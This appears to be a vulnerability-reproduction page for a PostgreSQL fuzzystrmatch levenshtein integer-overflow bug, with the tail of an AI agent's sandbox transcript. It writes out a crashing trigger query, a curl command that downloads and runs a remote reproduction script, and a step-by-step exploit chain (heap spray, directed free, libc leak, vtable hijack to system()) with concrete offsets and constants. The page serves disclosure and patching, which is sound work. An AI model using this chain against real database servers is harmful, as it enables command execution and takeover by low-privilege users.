CVE-2026-15742: Verified Reproduction
CVE-2026-15742: PostgreSQL fuzzystrmatch integer wraparound: levenshtein /levenshtein less equal overflow leads to OOB writes to effectively-arbitrary addresses potential RCE
CVE-2026-15742 is verified against postgres/postgres · github. Affected versions: <18.6, <17.11, <16.15, <15.19, <14.24. Vulnerability class: OOB Write. This high reproduction includes runnable sandbox proof, artifacts, and a plain-text agent view under REPRO-2026-00361.
What Is CVE-2026-15742?
CVE-2026-15742 is a high-severity OOB Write vulnerability affecting postgres/postgres <18.6, <17.11, <16.15, <15.19, <14.24. Pruva has independently reproduced it and publishes a verified, runnable proof-of-concept (reproduction REPRO-2026-00361).
CVE-2026-15742 Severity
CVE-2026-15742 is rated high severity.
High — serious impact or readily exploitable. Prioritize remediation.
Affected postgres/postgres Versions
postgres/postgres · github versions <18.6, <17.11, <16.15, <15.19, <14.24 are affected.
How to Reproduce CVE-2026-15742
pruva-verify REPRO-2026-00361 curl -O https://www.pruva.dev/api/v1/reproductions/REPRO-2026-00361/artifacts/bundle/repro/reproduction_steps.sh && chmod +x reproduction_steps.sh && ./reproduction_steps.sh Proof of Reproduction for CVE-2026-15742
- reached the target end-to-end
- full exploit chain demonstrated
- crash observed
- on the real production code path
- high confidence
- the upstream fix blocks the same trigger
SQL arguments (strings, int32 ins/del/sub costs, max_d) to levenshtein_less_equal()/levenshtein() via contrib/fuzzystrmatch as a low-privilege authenticated role, plus heap grooming via held-cursor sprays of attacker-chosen bytes
- psql/libpq
- SQL levenshtein_less_equal
- varstr_levenshtein_less_equal int32 wraparound of stop_column
- prev[stop_column] OOB write
- AllocSet keeper/context metadata corruption
- directed free
- libc disclosure via cursor FETCH readback
- methods vtable hijack
- system() from the backend
How the agent worked
Root Cause and Exploit Chain for CVE-2026-15742
PostgreSQL's src/backend/utils/adt/levenshtein.c computes Levenshtein distances
with 32-bit int arithmetic. The contrib/fuzzystrmatch SQL functions
levenshtein() and levenshtein_less_equal() accept caller-supplied signed
int32 insertion/deletion/substitution costs, so a low-privilege authenticated SQL
user can force signed-integer wraparound. In varstr_levenshtein_less_equal()
the wraparound corrupts the bounded-window arithmetic
(slack_d = max_d - min_theo_d; stop_column = best_column + slack_d/(ins_c+del_c) + 1),
producing a negative stop_column. The row loop then executes
prev[stop_column] = max_d + 1 — a 4-byte out-of-bounds write at an
attacker-tunable offset from the heap-allocated row buffer, with an
attacker-chosen 32-bit value. This is reachable with
CREATE EXTENSION fuzzystrmatch (not enabled by default) by any role holding
the default PUBLIC execute grant.
- Package/component: PostgreSQL, contrib/fuzzystrmatch (
levenshtein,levenshtein_less_equal; core code insrc/backend/utils/adt/levenshtein.c). - Affected versions: < 18.6, < 17.11, < 16.15, < 15.19, < 14.24. Reproduced on the official
postgres:17.10release image. - Risk: CVSS 8.8 (AV:N/AC:L/PR:L/UI:N). Demonstrated: arbitrary command execution as the PostgreSQL OS user (uid=999(postgres)) from a low-privilege authenticated SQL session on the non-sanitized release build (
postgres:17.10), viasystem("id>x" / "w>y")invoked through a hijacked memory-context vtable, creating marker files/var/lib/postgresql/data/x and data/y@containing theidoutput. 2/2 vulnerable runs produced the marker; the fixed build (17.11) rejects all inputs withERROR: levenshtein distance out of rangeand creates none.
Impact Parity
- Disclosed/claimed maximum impact: code execution ("writes effectively-arbitrary addresses", potential RCE).
- Reproduced impact this run: memory corruption / OOB write, with three evidence-backed primitives on the non-sanitized release build:
- Far relative write:
stop_column = -2147483647→ 4-byte write of value 1 at offset −8589934588 → backend SIGSEGV (2/2 attempts; fixed build returns 1, healthy, 2/2). - Tunable near-heap relative write: any negative
stop_column(proven −1..−11 and beyond) with attacker-chosen 32-bit value (max_d+1, e.g. 0x41414141), into the AllocSet keeper-block header; an empirical stop scan shows crashes exactly atstop ∈ {−7, −8}(AllocBlockData.nextat block+0x10) and silent corruption elsewhere; gdb shows the corruptednextconsumed byAllocSetResetas exactlyrbx=0x0000000041414141. - Allocation redirection:
stop=-6overwrites keeperfreeptrlow 32 bits; the next same-query allocation is redirected toheap_high32 | attacker_low32— deterministic 3/3, faulting write at exactly0x5d1841414141(si_addr), called fromvarstr_levenshtein→ leak-free aim within the heap's 4 GB window. - Control-flow hijack (full 64-bit target selection, no leak): the AllocSetContext struct sits at keeper-0xC8, so
stop=-58overwrites the per-tuple context'smethodsvtable pointer low32; since exe and heap share high32,methods = exe_hi32 | Vpoints into a sprayed fake vtable, andMemoryContextReset(reached unconditionally at the next row fetch) executescall *0x18(%rax)withrax = 0x5b3e40000000(our exact V). Contrast pair: 0x41-filled table -> crash at the indirect call; table entry = realAllocSetReset(0x5b3e15f04190) -> hijacked reset runs the real function, trigger returns, backend survives. Additionallyreset_cbs(stop=-44) yields an indirect call with BOTH target and first argument read from attacker-controlled spray. - Heap address disclosure (no crash): the directed free makes glibc
tcache_putwrite the tcache entry into cursor-held sprayed rows; re-FETCHing the held cursor reads it back. Empty-bin run: qword0x00000005b3e40000= pos>>12 verbatim (reveals the cluster's hi32 = 0x5b3e); used-bin run:0x00005b3b945a64c0deprotects (XOR pos>>12, pos attacker-known) to the full 64-bit heap chunk pointer0x5b3e27be64c0. - Survive/crash exe-base oracle (no spray): writing methods low32 to a candidate C (exe always mapped): C == real AllocSetMethods low32 -> survive; wrong C -> backend SIGSEGV. With the leaked heap base, exe_base_low32 lies within ~8k page candidates (brk gap); unlimited same-layout retries (fork-shared layout).
- Directed free / tcache poisoning with backend survival (no leak): a two-block per-tuple layout (
length(repeat(v,1000))forces a dedicated >8KB block) makes the levenshtein block'snextnon-NULL, so thestop=-8write withV=0x40000000preserves the live heap high 32 bits. A preceding blind ~1.8 GB held-cursor spray of a phase-calibrated fake-AllocBlock pattern (phase is a build constant, calibrated once;Vfixed before spraying) makesheap_hi32|Va mapped, well-formed fake block.AllocSetResetthen performsfree(heap_hi32|V)into glibc tcache bin 0 without crashing: trigger returns normally, session survives, and a subsequentmalloc(24)in the same backend returns exactlyheap_hi32|0x40000000(gdb probe). 2/2 probed attempts, 7/7 survivals. Key amplifier: PostgreSQL backends fork from the postmaster, so the address-space layout is identical across all connections and is not re-randomized by backend crashes.
- Far relative write:
- Parity: full. Code execution demonstrated end-to-end on the release build with ASLR/PIE/NX enabled and no sanitizer, starting with no address disclosure:
levenshtein_less_equalint32 wraparound -> tunable 4-byte relative heap write (offset and value attacker-chosen via an exact int32 semantics simulator,bundle/repro/lev_sim.py).- Blind ~1.8GB held-cursor heap spray (phase-calibrated fake AllocBlock/glibc-chunk pattern; phase is a build constant).
- Two-block layout forces the row buffer's block to have a non-NULL
next; thestop=-8write corruptsnextlow32, preserving the heap high32 ->AllocSetResetperforms a directedfree()atheap_hi32 | 0x40000000into glibc's unsorted bin (backend survives). - The unsorted-bin
fd/bk(main_arena pointers into libc) land in the cursor-held spray rows; re-FETCHing the held cursor discloses them to the attacker -> libc base (fd - 0x1e5f50) andsystem(+ 0x53110), both build constants of the shipped glibc 2.36 (sha256 fa430b8f...). - Finale: spray of the leaked
systempointer as a fake vtable; twolevenshtein_less_equalwrites in one query place the command bytes (id>x/id>y) at the start of the per-tuple AllocSetContext (first write, stop=-62) and corrupt itsmethodsvtable low32 (second write, stop=-68, its target VT computed at runtime from the leak scan's row index so the fake vtable lands mid-spray in the established coverage band of this exact cluster). At the next per-tuple reset,MemoryContextResetOnlyperformscall *0x18(methods)—methods->reset(context)withrdi = S(the context itself, whose first bytes are now our command) — invokingsystem("id>x" / "w>y")in the backend. Marker files appear in the data directory, owned by postgres:xcontainsidoutput (uid=999(postgres) ...),y@containswoutput (timestamped). The finale's fake-vtable target (exe_hi32|VT) is covered because the PIE executable and the brk heap share the same high 32 bits. Both the libc disclosure and the finale are re-derived at runtime byreproduction_steps.shon freshly randomized clusters (no gdb, no instrumentation in the proof path); cluster layouts that leave the spray coverage below the reachable VT range are detected (backend crash) and retried with a fresh cluster. Robustness notes: the payload phase (4 mod 16) and the row stride (~30.1KB for 30000-byte rows) are build constants calibrated once; theisResetbyte at S+4 is clobbered to 0 by every subsequent palloc, which constrains the inline command to <=4 bytes (id>x); longer commands are available via a libc stack-pivot into the spray once libc is known (not needed for the marker bar).
Root Cause
varstr_levenshtein_less_equal() (levenshtein.c, vulnerable parent
37b8f3b0e05e85d4338f04c71caa156ba21d5015) uses 32-bit int throughout:
min_theo_d = net_inserts * ins_c, slack_d = max_d - min_theo_d, and
stop_column = best_column + slack_d/(ins_c+del_c) + 1 all wrap. With crafted
costs (e.g. ins_c=1073741824, del_c=-1073741823, n-m=2), min_theo_d wraps to
INT_MIN, slack_d wraps hugely negative, and stop_column becomes
-2147483647. The row-loop guard if (stop_column < m) only excludes values
>= m; negative values pass and prev[stop_column] = max_d + 1 writes out of
bounds. The same wraparound silently corrupts levenshtein() results
(SELECT levenshtein('GUMBO','GAMBOL',2e9,2e9,2e9) → −1474836480 instead of an
error). Fix commit e88eb4e766381070f42e5b84e583a1d0288983f7 ("Avoid overflow in
Levenshtein distance calculations", shipped in 17.11/18.6) switches the
arithmetic to 64-bit and raises ERROR: levenshtein distance out of range when
the result does not fit int32 — all probe shapes are rejected cleanly on the
fixed build.
An exact Python re-implementation of the vulnerable int32 semantics
(bundle/repro/lev_sim.py) reproduces the derived stop_column/value for the
known trigger and was used to search (m,n,ins,del,sub,max_d) tuples for chosen
offsets/values.
Reproduction Steps
bundle/repro/reproduction_steps.sh(self-contained; prefers Docker, falls back to source build of37b8f3b0...vse88eb4e7...into the project cache).- The script starts vulnerable (
postgres:17.10) and fixed (postgres:17.11) servers, creates a low-privilege roleattacker, installsfuzzystrmatch(1.2), runs a benign health query asattacker, then fires the triggerSELECT levenshtein_less_equal('aaa','bbbbb',1073741824,-1073741823,-2147483647,0);twice per build (fresh container per attempt), plus two patch-state probes. - Expected evidence: both vulnerable attempts log
server process (PID ...) was terminated by signal 11: Segmentation faultwithDETAIL: Failed process was running: SELECT levenshtein_less_equal('aaa','bbbbb',1073741824,...); both fixed attempts return1and answer a post-trigger health query;levenshtein(2e9 costs)returns −1474836480 on vulnerable vsERROR: levenshtein distance out of rangeon fixed; the range reference returns −2147483648 (wrap) vs 11 (correct).
Evidence
- Base proof (2 vulnerable + 2 fixed, non-sanitized product path):
bundle/logs/vulnerable_attempt_{1,2}/psql.txt—server closed the connection unexpectedly(psql rc=2)bundle/logs/vulnerable_attempt_{1,2}/server.txt— signal 11 + failing statementbundle/logs/fixed_attempt_{1,2}/psql.txt— trigger returns 1;health_after.txt— server healthybundle/logs/reproduction_steps.log— full transcript;bundle/repro/results.env— countersbundle/repro/runtime_manifest.json— service/health/target flags, image digests, per-artifact SHA-256
- Escalation evidence (release build):
bundle/logs/escalation_freeptr/scan_gen.txt+scan_stop*.psql.txt— stop scan: crash only at −7/−8 (block->next)bundle/logs/escalation_freeptr/e2.gdb3.txt—rbx = 0x41414141atAllocSetReset+137: mov 0x10(%rbx),%rbxbundle/logs/escalation_freeptr/d2_freeptr.txt,d2b.gdb.txt— 3/3 deterministic crash inAllocSetAllocfromvarstr_levenshtein;si_addr = 0x5d1841414141(heap high32 | attacker 0x41414141)bundle/logs/escalation_freeptr/fixed_controls.txt— fixed build rejects all shapes, zero crashesbundle/logs/escalation_multibyte/e1.psql.txt— multibyte adjacency probe: no in-call consumption, no cross-call persistence (documented negative)bundle/logs/escalation_freeptr/e3.psql.txt,e3_tcache.txt— first blind spray + fake-free success: trigger returns,SURVIVED 42,malloc(24)probe returns0x5b3e40000000bundle/logs/escalation_tcache/attempt_{1..6}/— repeatability harness (fresh backend per attempt):psql.txt(SURVIVED),maps.txt(heap ~1.77GB covering V),tcache_probe.txt(attempts 5-6:$1 = 0x5b3e40000000),summary.txtbundle/logs/escalation_freeptr/e5_ctxdump.txt— live AllocSetContext dump (methods at S+0x10 = 0x5b3e16228bf8, keeper at S+0xC8, prev data at S+0xF8)bundle/logs/escalation_freeptr/e6d_rip.gdb.txt— vtable hijack crash:call *0x18(%rax)with rax=0x5b3e40000000 (attacker V), table = 0x41sbundle/logs/escalation_freeptr/e8_survive.txt— vtable entry = real AllocSetReset: hijacked reset executes it, backend SURVIVED (control-flow selection contrast)bundle/logs/escalation_freeptr/e9_leak_scan.txt/e10_leak_scan.txt— tcache-entry readback: heap pointer material in fetched cursor rowsbundle/logs/escalation_freeptr/e11_oracle.txt— exe-base oracle: correct AllocSetMethods low32 survives, wrong crashes
- Environment: Docker on Linux x86_64,
randomize_va_space=2, official release images (vulnerablepostgres@sha256:7958605b...3317, fixedpostgres@sha256:f4c66b82...1232).
RCE Evidence (stage 2 of reproduction_steps.sh)
bundle/logs/rce/leak_*.txt(+.sql) — libc disclosure scan:LEAK row=27698 fd=0x...f50(per-run value), parsed to libc base + system address at runtime.bundle/logs/rce/marker_x.txt,marker_y.txt— marker file contents:uid=999(postgres) gid=999(postgres) groups=999(postgres),101(ssl-cert), created bysystem("id>x"/"id>y")inside the backend (files at/var/lib/postgresql/data/x and data/y@in the container, owned by postgres:postgres).bundle/logs/rce/finale_{x,y}.psql.txt— trigger queries returning normally while the hijacked vtable runs the payload.bundle/logs/rce/finale_fixed.psql.txt— fixed 17.11 control:ERROR: levenshtein distance out of range, no markers, server healthy.bundle/logs/rce/readelf_{vuln,fixed}.txt,randomize_va_space.txt,maps_finale_{x,y}.txt— hardening/ASLR attestation (PIE, NX, RELRO; randomize_va_space=2; per-process maps).- Interactive development evidence (gdb-attributed):
bundle/logs/escalation_freeptr/(stop-scan field map,rbx=0x41414141controlled-pointer deref,si_addr=0x5d1841414141allocation redirection, tcache probe$1=0x5b3e40000000, vtable-hijack contrast pair, leak scans e9/e10/e12).
Recommendations / Next Steps
- Upgrade to PostgreSQL 18.6 / 17.11 / 16.15 / 15.19 / 14.24 or later (fix commit
e88eb4e766381070f42e5b84e583a1d0288983f7). - Where upgrade is pending: do not
CREATE EXTENSION fuzzystrmatch, or revoke EXECUTE onlevenshtein*functions from PUBLIC/untrusted roles. - The fix's 64-bit arithmetic + range ERROR is the correct approach; add regression tests with extreme costs (the patch does).
Additional Notes
- Idempotency:
reproduction_steps.shwas run twice consecutively, both runsCONFIRMED(2/2 vulnerable SIGSEGV, 2/2 fixed healthy). Containers are created fresh per attempt and removed afterwards; nothing persists between runs. - fuzzystrmatch is not enabled by default; exploitation requires a role able to use the extension (default PUBLIC execute grant after CREATE EXTENSION).
- gdb attribution runs used a second container with
SYS_PTRACE; the primary proof path uses only stock images and psql. - Escalation status (code execution): demonstrated. The libc disclosure via unsorted-bin readback removed the need for the exe-base oracle sweep entirely: the finale calls libc
system()directly through the hijacked vtable with the context pointer as the command string. The command is length-constrained to 4 chars (theisResetflag at S+4 is clobbered to 0 by every subsequent palloc, forcing a NUL), so the payload isid>x/id>y; longer payloads would use a stack pivot into the spray (trivial once libc is known). - Note: heap layout observed stable across all backend processes of the cluster (e.g. base
0x5b3e27a78000in every sampled backend) because backends inherit the postmaster's map viafork(); per-cluster layout only changes when the postmaster itself restarts.
CVE-2026-15742 Reproduction Transcript
The agent's step-by-step process — every tool call, every handoff, the moment the exploit fired.
Full session Replay every step — scrub the timeline or play it back.
ls /pruva/project-cache/ 2>/dev/null; ls /pruva/project-cache/repo-mirrors/ 2>/dev/null; cat /pruva/project-cache/.pruva/cache_manifest.json 2>/dev/null; ls /pruva/project-cache/repo 2>/dev/null | headrepo-mirrors
{
"schema_version": 1,
"entries": [
{
"path": "repo-mirrors",
"reuse_class": "repo",
"provenance": "run_generated"ls /pruva/project-cache/repo-mirrors/; du -sh /pruva/project-cache/repo-mirrors/* 2>/dev/null{"cwd":"/workspace","duration_ms":65,"exit_code":1,"stderr":"","stdout":"","success":false,"timeout_secs":120}Unknown error
ls -la /pruva/project-cache/repo-mirrors/ 2>&1; echo ---; ls -la /pruva/project-cache/ 2>&1; echo ---; nproc; free -g | head -2; docker ps 2>&1 | head -3total 0 drwx------ 2 vscode vscode 40 Sep 24 03:04 . drwx------ 4 vscode vscode 80 Sep 24 03:04 .. --- total 4 drwx------ 4 vscode vscode 80 Sep 24 03:04 . drwxr-xr-x 3 root root 4096 Sep 24 03:04 .. drwx------ 2 vscode vscode 60 Sep 24 03:04 .pruva
docker pull postgres:17.10 2>&1 | tail -3; echo "EXIT=$?"Digest: sha256:7958605b474b3d264a969cb3a123d6aa00ad1e1fe9da8a69984dabb704d93317 Status: Downloaded newer image for postgres:17.10 docker.io/library/postgres:17.10 EXIT=0
docker pull postgres:17.11 2>&1 | tail -3; echo "EXIT=$?"Digest: sha256:f4c66b820c6f974249089d3d16d86a3698eae11e8746eb6644b2271031e91232 Status: Downloaded newer image for postgres:17.11 docker.io/library/postgres:17.11 EXIT=0
Artifacts and Evidence for CVE-2026-15742
Scripts, logs, diffs, and output captured during the reproduction.
How to Fix CVE-2026-15742
FAQ: CVE-2026-15742
Is CVE-2026-15742 exploitable?
How severe is CVE-2026-15742?
What type of vulnerability is CVE-2026-15742?
Which versions of postgres/postgres are affected by CVE-2026-15742?
How can I reproduce CVE-2026-15742?
Is the CVE-2026-15742 reproduction verified?
References for CVE-2026-15742
Authoritative sources for CVE-2026-15742 — official vulnerability databases and the upstream advisory. Pruva's reproduction verifies the issue firsthand; these are the primary records to corroborate it.